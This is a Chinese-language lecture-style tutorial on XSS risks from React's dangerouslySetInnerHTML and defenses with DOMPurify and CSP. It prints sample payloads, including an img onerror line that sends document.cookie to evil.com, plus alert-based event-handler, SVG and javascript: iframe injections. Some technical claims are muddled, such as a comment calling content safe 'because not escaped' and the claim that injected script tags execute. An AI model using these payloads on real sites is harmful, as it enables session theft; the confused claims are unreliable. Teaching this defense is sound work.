讲座主题:React 的“潘多拉魔盒”——当 dangerouslySetInnerHTML 遇上 XSS
主讲人: 你的资深代码守护者 / 某某大厂前端架构师(兼任网络安全顾问)
时长: 90分钟(虽然你只需要读这5000字)
听众: React 开发者、前端安全小白、那些以为自己写代码很安全的“老油条”们。
各位同学,各位前端的勇士们,大家下午好!
欢迎来到今天的“安全特训营”。我知道你们平时写代码,心里想的是什么?是 React 的 Hooks,是 Redux 的状态管理,是 Vite 的构建速度,或者是 CSS Grid 那该死的浏览器兼容性。你们觉得这些才是“正经事”。
但今天,我要给你们讲点“不正经”的事。我要讲点能让你半夜惊醒、让你老板在周会上脸色发青的事。
我们要聊的是 XSS(Cross-Site Scripting,跨站脚本攻击),以及 React 里面那个著名的、被骂了几百万次的、甚至可以说是“邪恶”的属性——dangerouslySetInnerHTML。
如果你觉得 React 的安全,那就像你觉得“只要我不看那个报错,它就不存在”一样天真,那你一定要坐直了。今天,我们就来扒开 React 的安全外衣,看看那个藏在里面的、名为 dangerouslySetInnerHTML 的潘多拉魔盒。
第一部分:React 的“安全”幻觉与它的后门
首先,我们来聊聊 React 的设计哲学。React 像不像一个过度保护的父母?或者一个洁癖的管家?
当你写这样的代码时:
const userInput = "<p>Hello World</p><script>alert('I hacked you')</script>";
function App() {
return (
<div>
{userInput}
</div>
);
}
你觉得会发生什么?你会得到什么?
在普通的 HTML 中,浏览器会傻乎乎地解析那个 <script> 标签,然后弹出一个框,说“我被黑了”。
但在 React 中?React 是个乖宝宝。
React 会转义你的 HTML。它会把它变成文本节点。你在页面上看到的是:
<p>Hello World</p><script>alert('I hacked you')</script>
(这只是一串文字,不是代码!)
React 默认转义所有内容。这是它的默认行为,是为了保护你。它默认认为你不会往 DOM 里塞脏东西。这很好,对吧?这非常安全。
但是,总有一些时候,我们觉得 React 太啰嗦了。我们想直接把 HTML 字符串塞进去。
于是,React 给我们提供了一个属性:dangerouslySetInnerHTML。
function App() {
return (
<div dangerouslySetInnerHTML={{ __html: userInput }} />
);
}
注意那个名字!Dangerous!Set!InnerHTML!
React 甚至在文档里给你画了个红圈圈,写着:“这东西很危险,只有当你确信自己知道自己在干什么的时候才用。”
但现实是,多少次你为了省事,为了渲染富文本,为了渲染 Markdown,为了渲染从后端拿来的 HTML 片段,你就这么把它塞进去了?
你就像把毒药倒进了一杯可乐里,然后对自己说:“只要我不喝,它就是安全的。”
错了!你的用户会喝!
一旦你使用了 dangerouslySetInnerHTML,React 的转义保护机制瞬间失效。它把控制权交还给了浏览器。浏览器说:“哦,HTML?好的,让我来解析一下。”
然后,那个恶意的 <script> 标签就执行了。你的用户变成了黑客的肉鸡。你的网站变成了僵尸网络的控制端。你的老板变成了敲诈勒索的目标。
第二部分:场景一——UGC(用户生成内容)的噩梦
我们最常见的场景是什么?是评论区,是论坛,是博客文章的编辑器。
假设你正在开发一个博客系统。用户可以发表文章。为了展示文章,你从数据库里读取了文章内容。数据库里存的是:
{
"content": "<h1>我的精彩文章</h1><p>这是正文...</p><img src=x onerror=alert('我被黑了')>"
}
你以为你拿到了文章,于是你这样写代码:
function BlogPost({ content }) {
return (
<article>
{/* 这里,React 默认转义,所以安全 */}
<div>{content}</div>
</article>
);
}
等等,你说得对,这样写是安全的。 但如果这个文章内容里包含了一个 <script> 标签呢?React 会把它转义成文本,用户只能看到源代码,看不到弹窗。
但是,如果你为了排版好看,给文章加了个标题,标题里的 HTML 是用户自己写的:
function BlogPost({ title, content }) {
return (
<article>
<h1 dangerouslySetInnerHTML={{ __html: title }} />
<div>{content}</div> {/* 这里的 content 是安全的,因为没转义 */}
</article>
);
}
Boom! 你的标题现在变成了一个炸弹。
这就是 XSS(跨站脚本攻击) 的核心逻辑:注入恶意代码。
攻击者会在标题里写:
<img src="https://evil.com/pixel" onerror="document.location='https://evil.com/steal?cookie='+document.cookie">
当用户打开你的页面时,<img> 标签加载图片失败(因为 src="x" 是无效的),触发 onerror 事件,然后浏览器执行了你的 JS 代码。
这段代码会带着用户的 Cookie(包括 Session ID,也就是你的登录凭证)跳转到攻击者的服务器。
这就像什么? 这就像你请了一个客人进屋,客人进门的时候说:“我带了礼物。”你打开礼物盒,结果里面是一颗手雷。
第三部分:场景二——富文本编辑器与 CMS 的“甜蜜陷阱”
除了直接的 HTML 注入,还有更隐蔽的场景:富文本编辑器。
很多编辑器(比如 TinyMCE, Quill, CKEditor)虽然看起来像是一个纯文本输入框,但它们本质上是在操作 contenteditable 的 DOM。当你粘贴内容时,浏览器会把 Word 文档、Google Docs 里的格式、样式、甚至脚本一股脑地塞给你。
假设你用了一个编辑器,它会把内容存成 HTML 字符串:
function RichEditor({ htmlContent }) {
// 这里假设 htmlContent 是编辑器生成的
return (
<div className="editor-body" dangerouslySetInnerHTML={{ __html: htmlContent }} />
);
}
这太危险了。
用户可以从 Word 复制一段文本,里面包含了:
<font color="red" onmouseover="alert('你看不见我')" size="7">
危险!我是红色大字!
</font>
当用户把鼠标移上去时,弹窗就出来了。或者更糟糕的,用户复制了一段包含 <script> 的代码。
还有 CMS(内容管理系统)。
很多 CMS 的 API 会直接返回 HTML。比如 WordPress 的 REST API,或者某些自定义的后端接口。如果你直接拿来渲染:
function PostView({ post }) {
return (
<div className="post">
<h2>{post.title}</h2>
<div className="body" dangerouslySetInnerHTML={{ __html: post.body }} />
</div>
);
}
如果你的 CMS 被黑了,或者后端代码有漏洞,导致攻击者可以修改 post.body,那么你的前端页面就是一个巨大的后门。
这里有一个经典的陷阱:HTML5 的自动闭合标签。
攻击者可能会利用 HTML 解析的歧义性。
const maliciousInput = "<img src=x onerror=alert(1)><p>Hello</p>";
浏览器看到 <img src=x onerror=alert(1)>,它知道这是自闭合标签。然后它看到 <p>Hello</p>。
看起来很正常,对吧?弹窗弹了。
但如果攻击者更狡猾一点呢?利用换行符或者空格:
const maliciousInput = "<img src=x onerror=alert(1) /><p>Hello</p>";
// 或者
const maliciousInput2 = "<img src=x onerror=alert(1)>n<p>Hello</p>";
虽然这通常不会改变执行结果,但这展示了攻击者是如何利用浏览器解析器的“懒惰”或“宽容”来注入代码的。
第四部分:场景三——第三方插件与数据聚合
你正在开发一个聚合网站,比如一个新闻聚合器。你从不同的第三方 API 获取新闻卡片,然后拼凑在一起。
function NewsFeed({ newsItems }) {
return (
<div className="feed">
{newsItems.map((item, index) => (
<div key={index} className="news-card" dangerouslySetInnerHTML={{ __html: item.htmlSnippet }} />
))}
</div>
);
}
注意 item.htmlSnippet。
这个 snippet 来自哪里?来自 Google 新闻?来自 Bing?来自某个不知名的第三方 RSS 源?
信任链断裂。
一旦你信任了第三方,你就输了。攻击者只要黑了那个 RSS 源,或者中间的代理服务器,就能在你的所有聚合页面上注入脚本。
这就好比你在超市买肉,结果肉里掺了砒霜,你吃了之后中毒了。
而且,第三方数据可能包含 <iframe>。iframe 可以加载任意页面,甚至加载恶意页面。如果你的站点有 allow-scripts 属性,或者浏览器默认允许 iframe 执行脚本,那么整个 iframe 里的世界都是你的敌人。
第五部分:不仅仅是 <script>,还有那些隐形的杀手
很多人以为 XSS 就是 <script> 标签。错!大错特错!
dangerouslySetInnerHTML 暴露了 HTML 的所有属性。这意味着,任何带有事件处理器的属性都是攻击向量。
1. HTML 属性攻击
攻击者可以尝试注入 onerror,onload,onmouseover,甚至更高级的 onfocus,onblur。
<!-- 攻击者注入 -->
<div onmouseover="document.cookie='stealed'">
把鼠标移过来,我就偷你的 Cookie。
</div>
2. SVG 注入
SVG 是一种 XML 格式,也是 HTML 的一部分。攻击者可以创建一个 SVG 元素,利用 SVG 内部的脚本能力。
const maliciousSvg = `
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>alert('SVG Attack')</script>
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
`;
如果你用 dangerouslySetInnerHTML 渲染这个 SVG,<script> 标签会被执行。而且 SVG 的 <script> 标签有时候比 HTML 的更难被某些过滤器拦截。
3. iframe 与 sandbox
<iframe src="javascript:alert(1)"></iframe>
或者直接注入一个 iframe 指向恶意域名。
4. CSS 样式注入(虽然不直接执行 JS,但可以配合其他攻击)
虽然 dangerouslySetInnerHTML 主要处理 HTML 结构和 JS,但如果你同时注入了 CSS,比如:
<div style="background-image: url('javascript:alert(1)')"></div>
某些浏览器对 CSS 中的 javascript: 协议支持并不一致,但在某些旧版本或特定配置下,这依然是一个风险点。
第六部分:防御——如何从火坑里爬出来
现在,我知道你们在想什么:“这文章太吓人了,那我是不是以后都不能用 dangerouslySetInnerHTML 了?”
不是的! 并不是不能用,而是必须加一道防线。
React 把这个选择权交给了你,它说:“我是安全的,除非你强行打破它。”
当你必须使用它的时候,你必须确保进来的 HTML 是“干净”的。
1. DOMPurify —— 你的救命稻草
这是目前前端安全领域最著名的库。它不是 React 的一部分,但它和 React 是绝配。
DOMPurify 的原理是什么?它不是简单的字符串替换。它是一个真正的 HTML 解析器。它会解析你传入的 HTML,构建一个 DOM 树,然后检查每一个节点,如果发现不符合白名单的节点(比如 <script>,<iframe>,on* 属性),就直接把它扔掉。
它重建了 DOM 树,扔掉了脏东西,然后把这个干净的 DOM 树转换回 HTML 字符串。
怎么用?
安装:
npm install dompurify
# 如果你在用 Next.js,你可能还需要一个服务端渲染的版本
npm install dompurify @types/dompurify
代码示例:
import DOMPurify from 'dompurify';
function SafeComponent({ dirtyHtml }) {
// 在渲染前,先清洗
const cleanHtml = DOMPurify.sanitize(dirtyHtml);
// 只有干净的东西才能渲染
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
高级配置:
DOMPurify 允许你配置它允许什么。比如,你想允许图片,但不想允许脚本。
const cleanHtml = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['p', 'b', 'i', 'img', 'a'], // 只允许这些标签
ALLOWED_ATTR: ['href', 'src', 'alt', 'title'], // 只允许这些属性
ALLOW_DATA_ATTR: false, // 禁止 data-* 属性
FORBID_TAGS: ['script', 'iframe', 'object'], // 显式禁止某些标签(虽然白名单更推荐)
});
服务端渲染(SSR)注意:
在 Next.js 或 Remix 中,dangerouslySetInnerHTML 是在服务端执行的。DOMPurify 在服务端运行得非常好。但你必须确保服务端安装了 dompurify。如果是纯客户端,你需要处理 DOMPurify 尚未加载的情况(虽然通常没问题)。
2. CSP (Content Security Policy) —— 浏览器的盾牌
这是最底层的防御。CSP 是一个 HTTP 头部,告诉浏览器:“我只允许加载来自特定域名的脚本。”
如果你在 HTML 头部设置了 CSP:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.cdn.com;">
这意味着,即使你的页面里有 <script src="https://evil.com/steal.js">,浏览器也会直接拦截它,根本不会下载和执行。
CSP 可以防御 DOMPurify 可能遗漏的某些高级攻击,比如通过 JSONP 端点窃取数据,或者通过内联脚本注入。
但是,CSP 非常难配置。 一旦配置错了,你的网站就完全瘫痪了。而且,CSP 无法防御 dangerouslySetInnerHTML 里的内联脚本,因为 CSP 的 script-src 通常禁止 inline(除非你使用 nonce 或 hash)。
所以,DOMPurify 是你的盾,CSP 是城墙。两者缺一不可。
3. 不要相信输入
这是编程的基本原则。无论数据来自哪里——数据库、用户输入、API、第三方插件——永远不要信任它。
在把它塞进 dangerouslySetInnerHTML 之前,把它看作是毒药。
如果你只是想显示纯文本,千万不要用 dangerouslySetInnerHTML。用普通的 {textContent} 或者 {variable}。React 会自动转义,这是免费的、高效的、安全的。
// 好习惯:纯文本
<p>{userText}</p>
// 坏习惯:试图用 dangerouslySetInnerHTML 来显示纯文本(虽然能显示,但多此一举且不安全)
<p dangerouslySetInnerHTML={{ __html: userText }} />
第七部分:实战演练——如何优雅地处理富文本编辑器
让我们回到最痛苦的富文本编辑器场景。
假设你用了 Quill.js,它返回的是 Delta 格式(JSON)。你需要把它渲染成 HTML。
import React, { useMemo } from 'react';
import Quill from 'quill'; // 假设你用了这个库
import DOMPurify from 'dompurify';
function ArticleEditor({ contentDelta }) {
// 1. 将 Delta 转换为 HTML 字符串
// 注意:这里假设 quill.deltatoHtml 存在,或者你自己写转换逻辑
const htmlContent = useMemo(() => {
// 假设 contentDelta 是 { ops: [...] }
return convertDeltaToHtml(contentDelta);
}, [contentDelta]);
// 2. 深度清洗
const cleanHtml = useMemo(() => {
return DOMPurify.sanitize(htmlContent, {
ALLOWED_TAGS: ['p', 'b', 'i', 'u', 's', 'a', 'img', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'blockquote'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'target', 'rel'],
});
}, [htmlContent]);
// 3. 渲染
return <div className="article-body" dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
看,这样写,是不是心里踏实多了?
我们做了三件事:
- 转换: 把数据结构转换成 HTML 字符串。
- 清洗: 用 DOMPurify 把恶意的
<script>和危险属性过滤掉。 - 渲染: 最后一步才用
dangerouslySetInnerHTML。
如果你跳过第二步,你就等于是在裸奔。
第八部分:关于“自闭合”的迷思与深度解析
很多初学者会问:“如果我用 dangerouslySetInnerHTML 渲染一个自闭合标签,比如 <img>,会有危险吗?”
<img> 标签本身没有执行 JS 的能力。但是,<img> 有 onerror 事件。如果图片加载失败,浏览器会触发 onerror。
所以,即使你只渲染图片,只要攻击者能控制 src 属性,他们就能通过 onerror 注入代码。
// 这里的 src 是攻击者控制的
<img src="https://attacker.com/steal.js" onerror="alert(1)" />
DOMPurify 会阻止这个吗?
是的。DOMPurify 的默认配置会移除所有以 on 开头的属性。所以 onerror 会被删掉。图片会显示不出来,但不会弹窗。
但是,DOMPurify 不是万能的。它依赖于白名单。
如果你在配置白名单时,不小心把 onerror 加进去了(比如你允许所有 HTML 属性),那你又回到了原点。
DOMPurify.sanitize(dirtyHtml, {
ALLOWED_ATTR: ['*'] // 允许所有属性!
});
这是自杀式行为。 千万不要这么做。
第九部分:React 18 与未来的变化
React 18 引入了并发模式和 Suspense。这些新特性会不会让 XSS 变得更难防御?
并没有。并发模式只是改变了 React 渲染的时机,不会改变 React 处理 HTML 转义的逻辑。
实际上,React 18 更加强调服务器组件(RSC)。在服务器组件中,你通常不会直接操作 DOM,所以 dangerouslySetInnerHTML 用得少。但在客户端组件中,这个风险依然存在。
而且,随着前端工程化的发展,越来越多的代码跑在服务端。如果你在后端渲染(SSR)时直接使用了 dangerouslySetInnerHTML,而没做清洗,那么你的整个 SEO 页面都会被污染。
攻击者可以通过修改你的数据库,或者黑掉你的渲染逻辑,让每一个访问你网站的用户都中招。
第十部分:总结与建议
好了,同学们,今天的讲座要结束了。我们聊了很多,从 React 的默认安全机制,聊到了 dangerouslySetInnerHTML 的巨大风险,聊到了 UGC、富文本编辑器、第三方 API 的各种攻击场景,最后我们学到了如何用 DOMPurify 和 CSP 来筑起堡垒。
让我们回顾一下,当你下次想要写 dangerouslySetInnerHTML 的时候,请务必在心里默念以下三句话:
- “这是脏数据。”(它可能包含恶意代码。)
- “我不能信任它。”(无论它看起来多像正常的 HTML。)
- “我必须清洗它。”(在渲染之前,必须经过 DOMPurify 的洗礼。)
最后,给大家留一个作业。
作业:
找一段你写的代码,里面使用了 dangerouslySetInnerHTML。
检查一下:
- 你是否对输入进行了清洗?
- 你的白名单配置是否过于宽松?
- 你是否在服务端和客户端都做了清洗?
记住: 安全不是一次性的工作,而是一种习惯。React 给了你一把刀,它告诉你可以切肉,也可以切手。用刀的时候,请务必小心。
谢谢大家!现在,去检查你的代码吧!